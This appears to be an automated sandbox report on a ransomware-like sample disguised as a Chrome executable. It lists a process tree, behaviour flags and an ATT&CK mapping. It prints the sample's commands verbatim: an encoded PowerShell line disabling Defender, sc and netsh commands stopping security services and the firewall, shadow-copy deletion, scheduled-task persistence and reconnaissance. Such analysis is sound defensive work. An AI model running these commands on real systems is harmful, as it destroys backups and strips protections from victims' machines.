PID 4124 wrote to memory of 3180	4124	gndx.io_chrome.exe	144
PID 4124 wrote to memory of 2352	4124	gndx.io_chrome.exe	145
PID 4124 wrote to memory of 5916	4124	gndx.io_chrome.exe	146
PID 4124 wrote to memory of 396	4124	gndx.io_chrome.exe	147
PID 4124 wrote to memory of 3048	4124	gndx.io_chrome.exe	148
PID 4124 wrote to memory of 5140	4124	gndx.io_chrome.exe	155
PID 4124 wrote to memory of 2720	4124	gndx.io_chrome.exe	156
PID 4124 wrote to memory of 4160	4124	gndx.io_chrome.exe	158
PID 4124 wrote to memory of 6036	4124	gndx.io_chrome.exe	159
PID 4124 wrote to memory of 392	4124	gndx.io_chrome.exe	160
PID 4124 wrote to memory of 2056	4124	gndx.io_chrome.exe	161
PID 4124 wrote to memory of 1096	4124	gndx.io_chrome.exe	162
PID 4124 wrote to memory of 5016	4124	gndx.io_chrome.exe	163
PID 5708 wrote to memory of 4348	5708	cmd.exe	194
PID 3180 wrote to memory of 2304	3180	cmd.exe	171
PID 396 wrote to memory of 3132	396	cmd.exe	172
PID 2352 wrote to memory of 4848	2352	cmd.exe	173
PID 3612 wrote to memory of 4556	3612	cmd.exe	174
PID 5916 wrote to memory of 4608	5916	cmd.exe	175
PID 4848 wrote to memory of 4636	4848	net.exe	176
PID 1616 wrote to memory of 1364	1616	cmd.exe	177
PID 392 wrote to memory of 4108	392	net.exe	178
PID 1616 wrote to memory of 1552	1616	cmd.exe	180
PID 6080 wrote to memory of 328	6080	chrome.exe	181
PID 6080 wrote to memory of 1060	6080	chrome.exe	182
PID 6080 wrote to memory of 1144	6080	chrome.exe	183
PID 6080 wrote to memory of 1060	6080	chrome.exe	182
PID 6080 wrote to memory of 1144	6080	chrome.exe	183

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\gndx.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\gndx.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4124
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://gndx.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:6080
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x104,0x138,0x7ffd0467c728,0x7ffd0467c734,0x7ffd0467c740
    3⤵
    PID:5504
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1412,i,10712992893608014281,3479197450751758989,524288 --field-trial-handle=1916,i,1760225756047985493,4695893385724215384,262144 --variations-seed-version --mojo-platform-channel-handle=2092 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3112
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,17184458788964823365,3224366467525381468,262144 --field-trial-handle=1916,i,1760225756047985493,4695893385724215384,262144 --variations-seed-version --mojo-platform-channel-handle=1912 /prefetch:2
    3⤵
    PID:5512
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2192,i,12951489170989379701,13946073223979606285,524288 --field-trial-handle=1916,i,1760225756047985493,4695893385724215384,262144 --variations-seed-version --mojo-platform-channel-handle=2704 /prefetch:13
    3⤵
    PID:1464
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3152,i,15111827074744845658,9640032406247696803,2097152 --field-trial-handle=1916,i,1760225756047985493,4695893385724215384,262144 --variations-seed-version --mojo-platform-channel-handle=3164 /prefetch:1
    3⤵
    PID:1744
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3172,i,813742235537345667,354861772607711367,2097152 --field-trial-handle=1916,i,1760225756047985493,4695893385724215384,262144 --variations-seed-version --mojo-platform-channel-handle=3192 /prefetch:1
    3⤵
    PID:4840
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4564,i,5455964871792050787,3761097518179543944,524288 --field-trial-handle=1916,i,1760225756047985493,4695893385724215384,262144 --variations-seed-version --mojo-platform-channel-handle=4576 /prefetch:14
    3⤵
    PID:5840
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4848,i,9136391029587097284,15638820840592718342,2097152 --field-trial-handle=1916,i,1760225756047985493,4695893385724215384,262144 --variations-seed-version --mojo-platform-channel-handle=4868 /prefetch:1
    3⤵
    PID:2480
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3488,i,15112465376067412362,17946946859345807683,524288 --field-trial-handle=1916,i,1760225756047985493,4695893385724215384,262144 --variations-seed-version --mojo-platform-channel-handle=4436 /prefetch:14
    3⤵
    PID:328
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=3492,i,8670211405137564637,14488617470075621080,2097152 --field-trial-handle=1916,i,1760225756047985493,4695893385724215384,262144 --variations-seed-version --mojo-platform-channel-handle=3480 /prefetch:1
    3⤵
    PID:1060
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=3432,i,13956480310305158269,1072810390296936699,2097152 --field-trial-handle=1916,i,1760225756047985493,4695893385724215384,262144 --variations-seed-version --mojo-platform-channel-handle=3420 /prefetch:1
    3⤵
    PID:1144
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5568,i,12447565123822636416,14758034233459544522,2097152 --field-trial-handle=1916,i,1760225756047985493,4695893385724215384,262144 --variations-seed-version --mojo-platform-channel-handle=5504 /prefetch:1
    3⤵
    PID:3228
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5560,i,10131913375793735814,5864345021440152479,2097152 --field-trial-handle=1916,i,1760225756047985493,4695893385724215384,262144 --variations-seed-version --mojo-platform-channel-handle=3432 /prefetch:1
    3⤵
    PID:2028
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5800,i,9218747003105174647,4051629055938494904,524288 --field-trial-handle=1916,i,1760225756047985493,4695893385724215384,262144 --variations-seed-version --mojo-platform-channel-handle=5756 /prefetch:14
    3⤵
    PID:312
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5512,i,4588961278124173881,16833849199237013543,2097152 --field-trial-handle=1916,i,1760225756047985493,4695893385724215384,262144 --variations-seed-version --mojo-platform-channel-handle=3492 /prefetch:1
    3⤵
    PID:4184
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6068,i,16068206705000381996,18299726526387172764,2097152 --field-trial-handle=1916,i,1760225756047985493,4695893385724215384,262144 --variations-seed-version --mojo-platform-channel-handle=6092 /prefetch:1
    3⤵
    PID:2016
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5712,i,2234981368750698088,12993124497002965551,2097152 --field-trial-handle=1916,i,1760225756047985493,4695893385724215384,262144 --variations-seed-version --mojo-platform-channel-handle=5564 /prefetch:1
    3⤵
    PID:6024
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4432,i,18309934174617278105,17148145121926827983,524288 --field-trial-handle=1916,i,1760225756047985493,4695893385724215384,262144 --variations-seed-version --mojo-platform-channel-handle=3484 /prefetch:14
    3⤵
    PID:5800
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=6048,i,17075181496592161431,13711124140759335222,2097152 --field-trial-handle=1916,i,1760225756047985493,4695893385724215384,262144 --variations-seed-version --mojo-platform-channel-handle=5716 /prefetch:1
    3⤵
    PID:4724
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6068,i,5443171739762428283,13421538784957823218,524288 --field-trial-handle=1916,i,1760225756047985493,4695893385724215384,262144 --variations-seed-version --mojo-platform-channel-handle=6128 /prefetch:14
    3⤵
    PID:4348
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=4896,i,2477714934348644707,2679632088920411971,2097152 --field-trial-handle=1916,i,1760225756047985493,4695893385724215384,262144 --variations-seed-version --mojo-platform-channel-handle=4872 /prefetch:1
    3⤵
    PID:4772
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=4900,i,9387860357120119173,13566760818229559613,2097152 --field-trial-handle=1916,i,1760225756047985493,4695893385724215384,262144 --variations-seed-version --mojo-platform-channel-handle=5820 /prefetch:9
    3⤵
    PID:4808
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5792,i,1477795297141804548,7426989483941788249,524288 --field-trial-handle=1916,i,1760225756047985493,4695893385724215384,262144 --variations-seed-version --mojo-platform-channel-handle=5768 /prefetch:14
    3⤵
    PID:832
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5472,i,1656541124581706715,1290179579567694465,524288 --field-trial-handle=1916,i,1760225756047985493,4695893385724215384,262144 --variations-seed-version --mojo-platform-channel-handle=3480 /prefetch:14
    3⤵
    PID:2076
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5544,i,17008254219616479796,7195603645254005579,524288 --field-trial-handle=1916,i,1760225756047985493,4695893385724215384,262144 --variations-seed-version --mojo-platform-channel-handle=5372 /prefetch:14
    3⤵
    PID:5568
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6060,i,1599075374764954689,5197049946055001938,262144 --field-trial-handle=1916,i,1760225756047985493,4695893385724215384,262144 --variations-seed-version --mojo-platform-channel-handle=5556 /prefetch:10
    3⤵
    PID:4956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1696
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4444
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2376
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:4844
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:2776
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:3676
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:4588
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:6120
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5800
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3388
- - C:\Users\Admin\AppData\Local\Temp\gndx.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\gndx.io_chrome.exe"
    3⤵
    PID:3104
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3740
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4116
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5824
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:4404
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4888
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\gndx.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1456
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\gndx.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1616
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1364
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1552
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3612
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4556
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5708
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4348
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3180
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:2304
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2352
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4848
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:4636
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5916
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4608
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:396
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:3132
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\gndx.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3048
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5140
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2720
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4160
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6036
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:392
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:4108
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:2056
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:1096
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:5016

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2976

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4284

C:\Users\Admin\AppData\Local\Temp\gndx.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\gndx.io_chrome.exe
1⤵
PID:2504

C:\Users\Admin\AppData\Local\Temp\gndx.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\gndx.io_chrome.exe
1⤵
PID:2752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1168

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:792

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery